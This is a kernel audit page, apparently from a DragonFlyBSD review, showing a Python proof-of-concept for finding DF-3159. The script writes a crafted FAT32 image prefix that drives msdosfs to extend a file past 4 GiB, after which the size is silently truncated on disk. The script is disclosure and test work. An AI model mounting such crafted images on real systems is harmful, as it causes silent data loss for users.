⬢ DragonFlyBSD Kernel Audit
DF-3159 / craft_fat32big.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-3159 -- FAT32 volume with 64 KiB clusters and > 4 GiB capacity, so
msdosfs_setattr -> detrunc -> deextend (msdosfs_denode.c:509-511/618-647)
can push de_FileSize past 0xFFFFFFFF, which DE_EXTERNALIZE truncates into
the 32-bit dirent size field on next update (silent shrink after remount).

Also emits <out>.head (the dense prefix: boot sector + FSInfo + FAT + root
dir cluster) plus a dd recipe, because the full image is a 4.5 GiB sparse
file that is cheaper to materialize inside the guest.

Geometry: 512B sectors, SPC=128 (64 KiB clusters), RESV=32, 1 FAT of
1840 sectors (covers 943,718 clusters), data starts at sector 1872,
total sectors 9,437,184 (4.5 GiB) -> 73,584 clusters.
Root dir = cluster 2 with one regular file BIG     .   (0 bytes, cluster 0).
"""
import struct, sys

BPS = 512
SPC = 128
RESV = 32
NFATS = 1
FATSEC = 1840
TOTSEC = 9437184          # 4.5 GiB
FIRSTCL = RESV + NFATS * FATSEC     # 1872
FAT32_EOC = 0x0FFFFFF8


def direntry(name, ext, attr, cluster, size):
    e = bytearray(32)
    e[0:8] = (name + ' ' * 8)[:8].encode()
    e[8:11] = (ext + ' ' * 3)[:3].encode()
    e[11] = attr
    struct.pack_into('<H', e, 20, 0)
    struct.pack_into('<H', e, 26, cluster)
    struct.pack_into('<I', e, 28, size)
    return bytes(e)


def build(outpath):
    img = bytearray(FIRSTCL * BPS + SPC * BPS)   # dense prefix through root dir cluster

    img[0] = 0xEB; img[1] = 0x58; img[2] = 0x90
    img[3:11] = b'MSDOS5.0'
    struct.pack_into('<H', img, 11, BPS)
    img[13] = SPC
    struct.pack_into('<H', img, 14, RESV)
    img[16] = NFATS
    struct.pack_into('<H', img, 17, 0)
    struct.pack_into('<H', img, 19, 0)
    img[21] = 0xF8
    struct.pack_into('<H', img, 22, 0)
    struct.pack_into('<H', img, 24, 63)
    struct.pack_into('<H', img, 26, 255)
    struct.pack_into('<I', img, 28, 0)
    struct.pack_into('<I', img, 32, TOTSEC)
    struct.pack_into('<I', img, 36, FATSEC)
    struct.pack_into('<H', img, 40, 0)            # ExtFlags: mirrored (harmless here)
    struct.pack_into('<H', img, 42, 0)
    struct.pack_into('<I', img, 44, 2)            # RootClust
    struct.pack_into('<H', img, 48, 1)            # FSInfo sector
    struct.pack_into('<H', img, 50, 6)
    img[510] = 0x55; img[511] = 0xAA

    fsi = BPS
    struct.pack_into('<I', img, fsi + 0, 0x41615252)
    struct.pack_into('<I', img, fsi + 484, 0x61417272)
    struct.pack_into('<I', img, fsi + 488, 0xFFFFFFFF)
    struct.pack_into('<I', img, fsi + 492, 0xFFFFFFFF)

    fat = bytearray(FATSEC * BPS)
    fat[0] = 0xF8; fat[1] = 0xFF; fat[2] = 0xFF; fat[3] = 0x0F
    struct.pack_into('<I', fat, 8, FAT32_EOC)      # cluster 2 = root dir, EOC
    img[RESV * BPS:RESV * BPS + len(fat)] = fat

    root_off = FIRSTCL * BPS
    img[root_off:root_off + 32] = direntry('.       ', '   ', 0x10, 2, 0)
    img[root_off + 32:root_off + 64] = direntry('..      ', '   ', 0x10, 2, 0)
    img[root_off + 64:root_off + 96] = direntry('BIG     ', '   ', 0x20, 0, 0)
    img[root_off + 96] = 0x00

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s (%d bytes dense prefix); guest: truncate -s %d then dd this at offset 0"
          % (outpath, len(img), TOTSEC * BPS))


if __name__ == '__main__':
    build(sys.argv[1])